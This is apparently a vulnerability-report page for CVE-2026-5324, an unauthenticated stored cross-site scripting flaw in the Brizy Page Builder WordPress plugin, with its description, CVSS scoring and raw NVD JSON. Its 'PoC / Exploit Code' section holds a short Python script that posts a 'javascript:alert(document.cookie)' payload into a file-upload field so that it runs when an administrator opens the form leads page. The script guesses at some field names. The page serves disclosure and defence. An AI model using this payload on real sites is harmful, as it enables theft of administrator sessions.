Security Vulnerability Report
中文
CVE-2026-5324 CVSS 7.2 HIGH

CVE-2026-5324

Published: 2026-05-02 09:16:22
Last Modified: 2026-05-05 19:19:24

Description

The Brizy – Page Builder plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in all versions up to, and including, 2.8.11 This is due to a combination of missing nonce verification for unauthenticated form submissions, insufficient handling of FileUpload fields when no file is uploaded, and the reversal of security encoding via html_entity_decode() followed by unescaped output in the admin view. The submit_form() function skips nonce verification for non-logged-in users (api.php:198). The handleFileTypeFields() function fails to overwrite user-supplied values when no file is attached. While htmlentities() is applied during storage, html_entity_decode() reverses this on display (form-entries.php:79). The form-data.php template outputs FileUpload values directly in href attributes without esc_url(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the form Leads page.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Brizy – Page Builder <= 2.8.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target = "http://target-wordpress.com/wp-admin/admin-ajax.php" # The payload injects a javascript URI into a file upload field # Exploiting the lack of nonce check and the html_entity_decode logic payload_data = { "action": "brizy_form_submit", "post_id": "1", # Assuming 'file_upload' is the vulnerable field name "form_fields": { "email": "[email protected]", "file_upload": "javascript:alert(document.cookie)" } } try: response = requests.post(target, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] If exploited, XSS triggers when admin views Form Leads.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5324", "sourceIdentifier": "[email protected]", "published": "2026-05-02T09:16:22.477", "lastModified": "2026-05-05T19:19:23.900", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Brizy – Page Builder plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in all versions up to, and including, 2.8.11 This is due to a combination of missing nonce verification for unauthenticated form submissions, insufficient handling of FileUpload fields when no file is uploaded, and the reversal of security encoding via html_entity_decode() followed by unescaped output in the admin view. The submit_form() function skips nonce verification for non-logged-in users (api.php:198). The handleFileTypeFields() function fails to overwrite user-supplied values when no file is attached. While htmlentities() is applied during storage, html_entity_decode() reverses this on display (form-entries.php:79). The form-data.php template outputs FileUpload values directly in href attributes without esc_url(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the form Leads page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/admin/form-entries.php#L79", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/admin/views/form-data.php#L11", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/editor/forms/api.php#L198", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/editor/forms/api.php#L295", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/brizy/trunk/admin/views/form-data.php#L11", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3502206/brizy/trunk/admin/views/form-data.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fbrizy/tags/2.8.11&new_path=%2Fbrizy/tags/2.8.12", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/78ec499e-5edd-4f11-9090-f79868864fee?source=cve", "source": "[email protected]"}]}}